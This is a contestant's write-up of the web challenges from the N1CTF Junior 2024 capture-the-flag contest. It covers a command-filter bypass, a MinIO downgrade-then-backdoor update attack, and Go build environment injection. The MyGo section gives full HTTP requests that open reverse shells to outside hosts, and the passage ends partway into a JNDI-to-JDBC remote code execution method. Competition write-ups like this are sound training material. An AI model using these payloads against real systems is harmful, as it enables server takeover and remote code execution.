N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)

N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)

Nu1L - CTF大本营 - 网络安全竞赛平台-i春秋 (ichunqiu.***)https://www.ichunqiu.***/***petition/team/15

赛事举办方信息

Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team

      作为国内TOP CTF战队,Nu1LTeam自2015年10月成立以来,斩获了国内外众多赛事冠军以及闯入DEFCON CTF总决赛,这得益于Nu1L每一位队员的努力。 我们期望发掘以及培养年轻力量,于是自2023年开始,我们决定举办N1CTF Junior,旨在选拔优秀年轻人才加入Nu1LTeam。

一血奖励:(一个月)比赛已经结束,请最终排名前26且符合条件者(目前是2023级就读)的选手将【详细】wp于24小时内(即2/5 21:00)发送至root@nu1l.*** 

一血题目奖励我们会发放至注册邮箱

首页 - 网络空间测绘,网络安全,漏洞分析,动态测绘,钟馗之眼,时空测绘,赛博测绘 - ZoomEye("钟馗之眼")网络空间搜索引擎https://www.zoomeye.org/

浏览器要炸了

目录

名称/排名情况

zako

ezminio

MyGo

Derby

Derby Plus

总结

名称/排名情况

Boogipop: Rank 1
 


小北也是比较意外拿了个第一,各个题目都做的挺顺利(因为有hint,嘿嘿~)

zako

虽然是个签到题,但这确实是小北做的最久的题了
emmmmm,这个wp也就只有审核可以看到了,这里就说一下我蠢到极致的解法吧,首先我们可以获取execute.sh的内容如下:

#!/bin/bash

reject() {
    echo "${1}"
    exit 1
}

XXXCMD=$1

awk -v str="${XXXCMD}" '
BEGIN {
    deny="`;&$(){}[]!@#$%^&*-";
    for (i = 1; i <= length(str); i++) {
        char = substr(str, i, 1);

        for (x = 1; x < length(deny) + 1; x++) {
            r = substr(deny, x, 1);
            if (char == r) exit 1;
        }
    }
}
'

[ $? -ne 0 ] && reject "NOT ALLOW 1"

eval_cmd=$(echo "${XXXCMD}" | awk -F "|" '
BEGIN {
    allows[1] = "ls";
    allows[2] = "makabaka";
    allows[3] = "whoareu";
    allows[4] = "cut~no";
    allows[5] = "grep";
    allows[6] = "wc";
    allows[7] = "杂鱼杂鱼";
    allows[8] = "***stat.jpg";
    allows[9] = "awsl";
    allows[10] = "dmesg";
    allows[11] = "xswl";
}{
    num = 1;
    for (i = 1; i <= NF; i++) {
        for (x = 1; x <= length(allows); x++) {
            cmpstr = substr($i, 1, length(allows[x]));
            if (cmpstr == allows[x])
                eval_cmd[num++] = $i;
        }
    }
}
END {
    for (i = 1; i <= length(eval_cmd); i++) {
        if (i != 1)
            printf "| %s", eval_cmd[i];
        else
            printf "%s", eval_cmd[i];
    }
}'
)

[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"

eval ${eval_cmd}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/bin/bash

reject() {
    echo "${1}"
    exit 1
}

XXXCMD=$1

awk -v str="${XXXCMD}" '
BEGIN {
    deny="`;&$(){}[]!@#$%^&*-";
    for (i = 1; i <= length(str); i++) {
        char = substr(str, i, 1);

        for (x = 1; x < length(deny) + 1; x++) {
            r = substr(deny, x, 1);
            if (char == r) exit 1;
        }
    }
}
'

[ $? -ne 0 ] && reject "NOT ALLOW 1"

eval_cmd=$(echo "${XXXCMD}" | awk -F "|" '
BEGIN {
    allows[1] = "ls";
    allows[2] = "makabaka";
    allows[3] = "whoareu";
    allows[4] = "cut~no";
    allows[5] = "grep";
    allows[6] = "wc";
    allows[7] = "杂鱼杂鱼";
    allows[8] = "***stat.jpg";
    allows[9] = "awsl";
    allows[10] = "dmesg";
    allows[11] = "xswl";
}{
    num = 1;
    for (i = 1; i <= NF; i++) {
        for (x = 1; x <= length(allows); x++) {
            cmpstr = substr($i, 1, length(allows[x]));
            if (cmpstr == allows[x])
                eval_cmd[num++] = $i;
        }
    }
}
END {
    for (i = 1; i <= length(eval_cmd); i++) {
        if (i != 1)
            printf "| %s", eval_cmd[i];
        else
            printf "%s", eval_cmd[i];
    }
}'
)

[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"

eval ${eval_cmd}

这是一个sh脚本,其实所做的内容也很简单,设置了11个白名单
其实有用的也就3个wc、ls、grep

  • wc:查看文件行数情况,不可以读取内容
  • grep:可读取文件内容
  • ls:不多说

其次还设置了一个shell环境下的黑名单deny=";&$(){}[]!@#$%^&*-“;,过滤了一些特殊字符。源码没了,感谢@蒋十七`师傅的源码提供,阿里嘎多~

<?php

//something hide here
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));

$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd)>70) {
    	die("no, >70");
}
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){
    	die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

//something hide here
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));

$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd)>70) {
    	die("no, >70");
}
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){
    	die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

我们可以使用ls指令查看当前所有文件。
 


并且可以使用grep 进行文件读取
 


当然flag是不可能被读出来的,接下里就是我的铸币解法了。先说一下思路,我认为这道题php有waf1,shell中有waf2,硬绕waf1 2我觉得我是不行,但是但凡少其中一个waf我都可以做出来,因此想法油然而生了。
我要将如下内容写入pop.php

<?php
$cmd = $_REQUEST["__secret.xswl.io"];
system("./execute.sh '".$cmd."'");
?>
1
2
3
4
<?php
$cmd = $_REQUEST["__secret.xswl.io"];
system("./execute.sh '".$cmd."'");
?>

这样我就可以避免外层waf了。实现起来也很简单,依次进行如下操作

  • ?.[secret.xswl.io=grep "<?php" inde?.php >> pop.php
  • ?.[secret.xswl.io=grep "cmd" inde?.php >> pop.php
  • ?.[secret.xswl.io=grep "system" inde?.php >> pop.php

然后读取一下pop.php的内容。
 


好了大功告成,那么最后的payload就是
?.[secret.xswl.io=ls';cat /flag'

ezminio

还好最后一小时放了hint,不然到死都没想到这个思路,其实我感觉这个思路很不,Lolita师傅太强拉
CVE-2023-28432
GitHub - AbelChe/evil_minio: EXP for CVE-2023-28434 MinIO unauthorized to RCEEXP for CVE-2023-28434 MinIO unauthorized to RCE. Contribute to AbelChe/evil_minio development by creating an a***ount on GitHub.https://github.***/AbelChe/evil_minio
这是去年三月份出的漏洞,原理就是minio 信息泄露拿到管理员账号密码,进而可以自更新rce。但是利用有个前提条件,那就是不能在环境变量配置minisignPubKey,否则会进入verifyBinary检查sha256。那么就不可以自更新rce了。

const (
	// Update this whenever the official minisign pubkey is rotated.
	defaultMinisignPubkey = "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"
)

func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo, mode string, reader io.Reader) (err error) {
	if !updateInProgress.***pareAndSwap(0, 1) {
		return errors.New("update already in progress")
	}
	defer updateInProgress.Store(0)

	transport := getUpdateTransport(30 * time.Second)
	opts := selfupdate.Options{
		Hash:     crypto.SHA256,
		Checksum: sha256Sum,
	}

	if err := opts.CheckPermissions(); err != nil {
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),
			StatusCode: http.StatusInternalServerError,
		}
	}

	minisignPubkey := env.Get(envMinisignPubKey, defaultMinisignPubkey)
	if minisignPubkey != "" {
		v := selfupdate.NewVerifier()
		u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"
		if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {
			return AdminError{
				Code:       AdminUpdateApplyFailure,
				Message:    fmt.Sprintf("signature loading failed for %v with %v", u, err),
				StatusCode: http.StatusInternalServerError,
			}
		}
		opts.Verifier = v
	}

	if err = selfupdate.PrepareAndCheckBinary(reader, opts); err != nil {
		var pathErr *os.PathError
		if errors.As(err, &pathErr) {
			return AdminError{
				Code: AdminUpdateApplyFailure,
				Message: fmt.Sprintf("Unable to update the binary at %s: %v",
					filepath.Dir(pathErr.Path), pathErr.Err),
				StatusCode: http.StatusForbidden,
			}
		}
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    err.Error(),
			StatusCode: http.StatusInternalServerError,
		}
	}

	return nil
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
const (
	// Update this whenever the official minisign pubkey is rotated.
	defaultMinisignPubkey = "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"
)

func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo, mode string, reader io.Reader) (err error) {
	if !updateInProgress.***pareAndSwap(0, 1) {
		return errors.New("update already in progress")
	}
	defer updateInProgress.Store(0)

	transport := getUpdateTransport(30 * time.Second)
	opts := selfupdate.Options{
		Hash:     crypto.SHA256,
		Checksum: sha256Sum,
	}

	if err := opts.CheckPermissions(); err != nil {
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),
			StatusCode: http.StatusInternalServerError,
		}
	}

	minisignPubkey := env.Get(envMinisignPubKey, defaultMinisignPubkey)
	if minisignPubkey != "" {
		v := selfupdate.NewVerifier()
		u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"
		if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {
			return AdminError{
				Code:       AdminUpdateApplyFailure,
				Message:    fmt.Sprintf("signature loading failed for %v with %v", u, err),
				StatusCode: http.StatusInternalServerError,
			}
		}
		opts.Verifier = v
	}

	if err = selfupdate.PrepareAndCheckBinary(reader, opts); err != nil {
		var pathErr *os.PathError
		if errors.As(err, &pathErr) {
			return AdminError{
				Code: AdminUpdateApplyFailure,
				Message: fmt.Sprintf("Unable to update the binary at %s: %v",
					filepath.Dir(pathErr.Path), pathErr.Err),
				StatusCode: http.StatusForbidden,
			}
		}
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    err.Error(),
			StatusCode: http.StatusInternalServerError,
		}
	}

	return nil
}

这是题目版本对应的verifyBinary函数逻辑,可以看到传入了一个publickey进行校验。并且publickey怎么样都是有个值的。
这导致我们无法自更新二开后的minio 二进制文件。那怎么办呢?
这里其实就引入了一个二次思维,我们先将版本退化为不需要校验publickey的版本,然后再上传我们的evil_minio,这样就可以绕过这个机制了
这是2023-2月版本的verrifyBinary方法:

func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo string, mode string, reader []byte) (err error) {
	if !atomic.***pareAndSwapUint32(&updateInProgress, 0, 1) {
		return errors.New("update already in progress")
	}
	defer atomic.StoreUint32(&updateInProgress, 0)

	transport := getUpdateTransport(30 * time.Second)
	opts := selfupdate.Options{
		Hash:     crypto.SHA256,
		Checksum: sha256Sum,
	}

	if err := opts.CheckPermissions(); err != nil {
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),
			StatusCode: http.StatusInternalServerError,
		}
	}

	minisignPubkey := env.Get(envMinisignPubKey, "")
	if minisignPubkey != "" {
		v := selfupdate.NewVerifier()
		u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"
		if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {
			return AdminError{
				Code:       AdminUpdateApplyFailure,
				Message:    fmt.Sprintf("signature loading failed for %v with %v", u, err),
				StatusCode: http.StatusInternalServerError,
			}
		}
		opts.Verifier = v
	}

	if err = selfupdate.PrepareAndCheckBinary(bytes.NewReader(reader), opts); err != nil {
		var pathErr *os.PathError
		if errors.As(err, &pathErr) {
			return AdminError{
				Code: AdminUpdateApplyFailure,
				Message: fmt.Sprintf("Unable to update the binary at %s: %v",
					filepath.Dir(pathErr.Path), pathErr.Err),
				StatusCode: http.StatusForbidden,
			}
		}
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    err.Error(),
			StatusCode: http.StatusInternalServerError,
		}
	}

	return nil
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo string, mode string, reader []byte) (err error) {
	if !atomic.***pareAndSwapUint32(&updateInProgress, 0, 1) {
		return errors.New("update already in progress")
	}
	defer atomic.StoreUint32(&updateInProgress, 0)

	transport := getUpdateTransport(30 * time.Second)
	opts := selfupdate.Options{
		Hash:     crypto.SHA256,
		Checksum: sha256Sum,
	}

	if err := opts.CheckPermissions(); err != nil {
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),
			StatusCode: http.StatusInternalServerError,
		}
	}

	minisignPubkey := env.Get(envMinisignPubKey, "")
	if minisignPubkey != "" {
		v := selfupdate.NewVerifier()
		u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"
		if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {
			return AdminError{
				Code:       AdminUpdateApplyFailure,
				Message:    fmt.Sprintf("signature loading failed for %v with %v", u, err),
				StatusCode: http.StatusInternalServerError,
			}
		}
		opts.Verifier = v
	}

	if err = selfupdate.PrepareAndCheckBinary(bytes.NewReader(reader), opts); err != nil {
		var pathErr *os.PathError
		if errors.As(err, &pathErr) {
			return AdminError{
				Code: AdminUpdateApplyFailure,
				Message: fmt.Sprintf("Unable to update the binary at %s: %v",
					filepath.Dir(pathErr.Path), pathErr.Err),
				StatusCode: http.StatusForbidden,
			}
		}
		return AdminError{
			Code:       AdminUpdateApplyFailure,
			Message:    err.Error(),
			StatusCode: http.StatusInternalServerError,
		}
	}

	return nil
}

在这里假如环境变量中没有配置publickey那么就默认为空,也就绕过了判断。这就符合我们的条件了。在题目环境中环境变量是没配置publickey的,不然也打不了。
题目给的是内网9000端口映射出的服务
http://47.112.112.23:23333http://47.112.112.23:23333/
我们利用mc 管理工具将其添加进我们的host
mc config host add minio [http://47.112.112.23:23333](http://47.112.112.23:23333) minioadmin minioadmin
目标是默认密码和用户名,权限也是admin,有自更新权限,首先是降级处理。这里我选用的版本是[minio.RELEASE.2023-02-10T18-48-39Z](https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2023-02-10T18-48-39Z)
https://dl.min.io/server/minio/release/linux-amd64/archive/https://dl.min.io/server/minio/release/linux-amd64/archive/
 


我们需要这三个文件,下载下来后先给他改个名字,自更新判断的是sha256sum文件的第二个字段。
 


假如这个字段的版本小于服务器当前的版本,那么就不会自更新,所以我们随便将其改为另一个名字minio.RELEASE.2024-01-15T18-25-24Z,并且将sha256sum文件以及内容也改为如上的名字,之后我们就可以开启自更新了。
mc admin update minio [http://8.134.166.14:8887/minio.RELEASE.2024-01-15T18-25-24Z.sha256sum](http://8.134.166.14:8887/minio.RELEASE.2024-01-15T18-25-24Z.sha256sum) -y
等待大概四分钟,我们就可以看到更新成功。(我服务器是真屎啊,95M传四分钟)
 


 


接下来我们该做的就是二次更新替换为evil_minio
编译该项目即可GitHub - AbelChe/evil_minio: EXP for CVE-2023-28434 MinIO unauthorized to RCEEXP for CVE-2023-28434 MinIO unauthorized to RCE. Contribute to AbelChe/evil_minio development by creating an a***ount on GitHub.https://github.***/AbelChe/evil_minio
然后也是一样的处理,修改名字为超过当前版本的版本即可。这个可以不需要minisig文件,因为绕过了verifyBinary。
mc admin update minio [http://8.134.166.14:8886/minio.RELEASE.2024-01-16T18-25-24Z.sha256sum](http://8.134.166.14:8886/minio.RELEASE.2024-01-16T18-25-24Z.sha256sum) -y
同样也是等待四分钟
 


 


最后输入全局后门alive获取flag即可。

MyGo

MyGO!
给了源码分析一下。

package main

import (
	"embed"
	"fmt"
	"github.***/gin-gonic/gin"
	"***/http"
	"os"
	"os/exec"
)

//go:embed public/*
var fs embed.FS

func IndexHandler(c *gin.Context) {
	c.FileFromFS("public/", http.FS(fs))
}

func BuildHandler(c *gin.Context) {
	var req map[string]interface{}

	if err := c.ShouldBindJSON(&req); err != nil {
		c.JSON(http.StatusOK, gin.H{"error": "Invalid request"})
		return
	}

	if !PathExists("/tmp/build/") {
		os.Mkdir("/tmp/build/", 0755)
	}

	defer os.Remove("/tmp/build/main.go")
	defer os.Remove("/tmp/build/main")

	os.Chdir("/tmp/build/")
	os.WriteFile("main.go", []byte(req["code"].(string)), 0644)
	var env []string

	for k, v := range req["env"].(map[string]interface{}) {
		env = append(env, fmt.Sprintf("%s=%s", k, v))
	}

	cmd := exec.***mand("go", "build", "-o", "main", "main.go")
	cmd.Env = append(os.Environ(), env...)

	if err := cmd.Run(); err != nil {
		c.JSON(http.StatusOK, gin.H{"error": "Build error"})
	} else {
		c.File("/tmp/build/main")
	}
}

func PathExists(p string) bool {
	_, err := os.Stat(p)
	if err == nil {
		return true
	}
	if os.IsNotExist(err) {
		return false
	}
	return false
}

func main() {
	r := gin.Default()
	r.GET("/", IndexHandler)
	r.POST("/build", BuildHandler)
	r.Run(":8000")
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package main

import (
	"embed"
	"fmt"
	"github.***/gin-gonic/gin"
	"***/http"
	"os"
	"os/exec"
)

//go:embed public/*
var fs embed.FS

func IndexHandler(c *gin.Context) {
	c.FileFromFS("public/", http.FS(fs))
}

func BuildHandler(c *gin.Context) {
	var req map[string]interface{}

	if err := c.ShouldBindJSON(&req); err != nil {
		c.JSON(http.StatusOK, gin.H{"error": "Invalid request"})
		return
	}

	if !PathExists("/tmp/build/") {
		os.Mkdir("/tmp/build/", 0755)
	}

	defer os.Remove("/tmp/build/main.go")
	defer os.Remove("/tmp/build/main")

	os.Chdir("/tmp/build/")
	os.WriteFile("main.go", []byte(req["code"].(string)), 0644)
	var env []string

	for k, v := range req["env"].(map[string]interface{}) {
		env = append(env, fmt.Sprintf("%s=%s", k, v))
	}

	cmd := exec.***mand("go", "build", "-o", "main", "main.go")
	cmd.Env = append(os.Environ(), env...)

	if err := cmd.Run(); err != nil {
		c.JSON(http.StatusOK, gin.H{"error": "Build error"})
	} else {
		c.File("/tmp/build/main")
	}
}

func PathExists(p string) bool {
	_, err := os.Stat(p)
	if err == nil {
		return true
	}
	if os.IsNotExist(err) {
		return false
	}
	return false
}

func main() {
	r := gin.Default()
	r.GET("/", IndexHandler)
	r.POST("/build", BuildHandler)
	r.Run(":8000")
}

作用就是一个编译平台,你输入一个code,他就会帮你build,在这个过程中我们可控的东西只有environment变量,那么我们科学上网的时间就到了。
go ***mand - cmd/go - Go Packageshttps://pkg.go.dev/cmd/go#hdr-Environment_variables

法一:

考察 Go build 环境变量注入

题目提供了一个交叉编译 Go 程序的功能, 在编译的时候只有环境变量可控, 所以思路就是通过控制环境变量实现 RCE

var env []string

for k, v := range req["env"].(map[string]interface{}) {
  env = append(env, fmt.Sprintf("%s=%s", k, v))
}

cmd := exec.***mand("go", "build", "-o", "main", "main.go")
cmd.Env = append(os.Environ(), env...)

if err := cmd.Run(); err != nil {
  c.JSON(http.StatusOK, gin.H{"error": "Build error"})
} else {
  c.File("/tmp/build/main")
}

因为命令直接使用 exec.***mand("go", "build", "-o", "main", "main.go") 运行, 所以不存在 Bash 上下文, 也就不存在 Bash 环境变量注入

因此只能从 go build 命令本身所使用的环境变量入手, 寻找可以命令注入的点

go 命令的相关环境变量可以使用 go env 查看

GO111MODULE=''
GOARCH='arm64'
GOBIN=''
GOCACHE='/root/.cache/go-build'
GOENV='/root/.config/go/env'
GOEXE=''
GOEXPERIMENT=''
GOFLAGS=''
GOHOSTARCH='arm64'
GOHOSTOS='linux'
GOINSECURE=''
GOMODCACHE='/go/pkg/mod'
GONOPROXY=''
GONOSUMDB=''
GOOS='linux'
GOPATH='/go'
GOPRIVATE=''
GOPROXY='https://proxy.golang.org,direct'
GOROOT='/usr/local/go'
GOSUMDB='sum.golang.org'
GOTMPDIR=''
GOTOOLCHAIN='local'
GOTOOLDIR='/usr/local/go/pkg/tool/linux_arm64'
GOVCS=''
GOVERSION='go1.21.6'
G***GO='g***go'
AR='ar'
***='g***'
CXX='g++'
CGO_ENABLED='1'
GOMOD='/dev/null'
GOWORK=''
CGO_CFLAGS='-O2 -g'
CGO_CPPFLAGS=''
CGO_CXXFLAGS='-O2 -g'
CGO_FFLAGS='-O2 -g'
CGO_LDFLAGS='-O2 -g'
PKG_CONFIG='pkg-config'
GOG***FLAGS='-fPIC -pthread -Wl,--no-gc-sections -fmessage-length=0 -ffile-prefix-map=/tmp/go-build685738299=/tmp/go-build -gno-record-g***-switches

不难发现其中 *** 环境变量的值为 g***, 猜测在 go build 的时候可能会调用 g*** 以完成部分编译流程, 因此可以尝试将 *** 的值替换成任意命令, 实现 RCE

至于为什么会用到 g***, 原因是 Go 语言支持 CGO 特性, 即使用 Go 调用 C 的函数

Go 与 C 的桥梁:cgo 入门,剖析与实践 - 知乎作者:panhuili,腾讯 IEG 后台开发工程师 Go 作为当下最火的开发语言之一,它的优势不必多说。Go 对于高并发的支持,使得它可以很方便的作为独立模块嵌入业务系统。有鉴于我司大量的 C/C++存量代码,如何将 Go 和…https://zhuanlan.zhihu.***/p/349197066

编写一个使用 CGO 的 Go 程序需要引入 C 这个包, 即 import "C"

package main

import "C"

func main() {
    println("hello cgo")
}

这样在 build 的时候就会调用 g***

本地测试

***='bash -c "id"' go build main.go

题目出网, 所以直接反弹 shell

POST /build HTTP/1.1
Host: 127.0.0.1:10800
Content-Length: 145
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
A***ept: */*
A***ept-Encoding: gzip, deflate, br
A***ept-Language: zh-***,zh;q=0.9,en;q=0.8
Connection: close

{"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1",
"***":"bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'"},"code":"package main\n\nimport \"C\"\n\nfunc main() {\n    println(\"hello cgo\")\n}"}

然后注意题目环境不支持 CGO 的交叉编译, 因此必须保证 GOOS 和 GOARCH 与题目环境一致, 即 linux 和 amd64

最后, 对于这道题也可以进一步思考, 如果题目环境不出网, 如何带出 flag?

答案是使用 Go embed 特性, Go 语言在编译的时候会将被 embed 的文件一起打包到二进制程序内部

那么就可以先通过 *** 环境变量注入在 go build 时将 flag 写入 /tmp/build 目录, 即项目目录, 因为 Go embed 不能打包位于项目目录之外的文件

***='bash -c "/readflag > /tmp/build/flag.txt"' go build main.go

然后 build 如下代码, 使用 //go:embed flag.txt 打包 flag.txt, 这一步不需要交叉编译

package main

import (
  "fmt"
  _ "embed"
)

//go:embed flag.txt
var s string

func main() {
    fmt.Println(s)
}

最后下载编译好的二进制文件到本地, 查找 flag

strings main | grep ctfhub

法二:


我找到了个好玩的变量,那就是***,这个东西是一个指令,我们可以看看本地
 


可以发现***=g***,这段代码触发的场合如下:

package main

// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
//		return f();
// }
//
// int fortytwo()
// {
//	    return 42;
// }
import "C"
import "fmt"

func main() {
	f := C.intFunc(C.fortytwo)
	fmt.Println(int(C.bridge_int_func(f)))
	// Output: 42
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package main

// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
//		return f();
// }
//
// int fortytwo()
// {
//	    return 42;
// }
import "C"
import "fmt"

func main() {
	f := C.intFunc(C.fortytwo)
	fmt.Println(int(C.bridge_int_func(f)))
	// Output: 42
}

注释中的C代码会被g***进行编译。我们可以这样测试export ***=whoami
 


你将会看到一段抛错
 


那就是g***被我们改成了whoami,自然就报错了,我们这里就是一个命令注入的点位了。
我们export ***='bash -c "bash -i >& /dev/tcp/8.130.24.188/7775 <&1"'
 


 


即可完成注入获取flag。最终payload数据包如下:

POST /build HTTP/1.1
Host: 121.199.64.23:25480
Content-Length: 443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Content-Type: text/plain;charset=UTF-8
A***ept: */*
Origin: http://121.199.64.23:25480
Referer: http://121.199.64.23:25480/
A***ept-Encoding: gzip, deflate
A***ept-Language: zh-***,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

{"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1",
"***":"bash -c \"bash -i >& /dev/tcp/8.130.24.188/7775 <&1\"",
"GOG***FLAGS":""},"code":"package main\n\n// #include <stdio.h>\n// #include <stdlib.h>\n//\n// static void myprint(char* s) {\n//   printf(\"%s\\n\", s);\n// }\nimport \"C\"\nimport \"unsafe\"\n\nfunc main() {\n        cs := C.CString(\"Hello from stdio\")\n        C.myprint(cs)\n        C.free(unsafe.Pointer(cs))\n}"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /build HTTP/1.1
Host: 121.199.64.23:25480
Content-Length: 443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Content-Type: text/plain;charset=UTF-8
A***ept: */*
Origin: http://121.199.64.23:25480
Referer: http://121.199.64.23:25480/
A***ept-Encoding: gzip, deflate
A***ept-Language: zh-***,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

{"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1",
"***":"bash -c \"bash -i >& /dev/tcp/8.130.24.188/7775 <&1\"",
"GOG***FLAGS":""},"code":"package main\n\n// #include <stdio.h>\n// #include <stdlib.h>\n//\n// static void myprint(char* s) {\n//   printf(\"%s\\n\", s);\n// }\nimport \"C\"\nimport \"unsafe\"\n\nfunc main() {\n        cs := C.CString(\"Hello from stdio\")\n        C.myprint(cs)\n        C.free(unsafe.Pointer(cs))\n}"}

Derby

法一:

考察 JNDI 注入在高版本 JDK 的绕过

题目直接给出了一个 JNDI 注入

package ***.example.derby;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import javax.naming.Context;
import javax.naming.InitialContext;

@RestController
public class IndexController {
    @RequestMapping("/")
    public String index() {
        return "hello derby";
    }

    @RequestMapping("/lookup")
    public String lookup(@RequestParam String url) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup(url);
        return "ok";
    }
}

pom.xml 依

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency>
        <groupId>***.alibaba</groupId>
        <artifactId>druid</artifactId>
        <version>1.2.21</version>
    </dependency>
    <dependency>
        <groupId>org.apache.derby</groupId>
        <artifactId>derby</artifactId>
        <version>10.14.2.0</version>
    </dependency>
</dependencies>

环境特地使用了较新的 Java 17, 由于模块化的访问机制导致不能直接用 TemplatesImpl + Jackson 反序列化一把梭, 已有的 JNDI 利用工具就更不用说了

这道题的思路其实就是两篇文章:

探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖跳跳糖 - 安全与分享社区https://tttang.***/archive/1405/

derby数据库如何实现RCE - lvyyevd's 安全博客前言前段时间遇到了一个后台可以操作数据库语句的地方,且使用的数据库为derby,derby数据库可以作为内嵌数据库,要知道H2数据库可以利用alias别名,调用java代码进行命令执行。猜测derby数据库也有相应功能,一直翻阅官方文档,终于找到了一种RCE利用方式(应该还没有人发吧),在这里记录一http://www.lvyyevd.***/archives/derby-shu-ju-ku-ru-he-shi-xian-rce

依赖给出了 Druid 连接池, 那么就可以使用 DruidDataSourceFactory 将 JNDI 注入转化为 JDBC 攻击

Reference ref = new Reference("javax.sql.DataSource", "***.alibaba.druid.pool.DruidDataSourceFactory", null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
        "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
        "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
        "$$\n";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";

ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("username", JDBC_USER));
ref.add(new StringRefAddr("password", JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize", "1"));
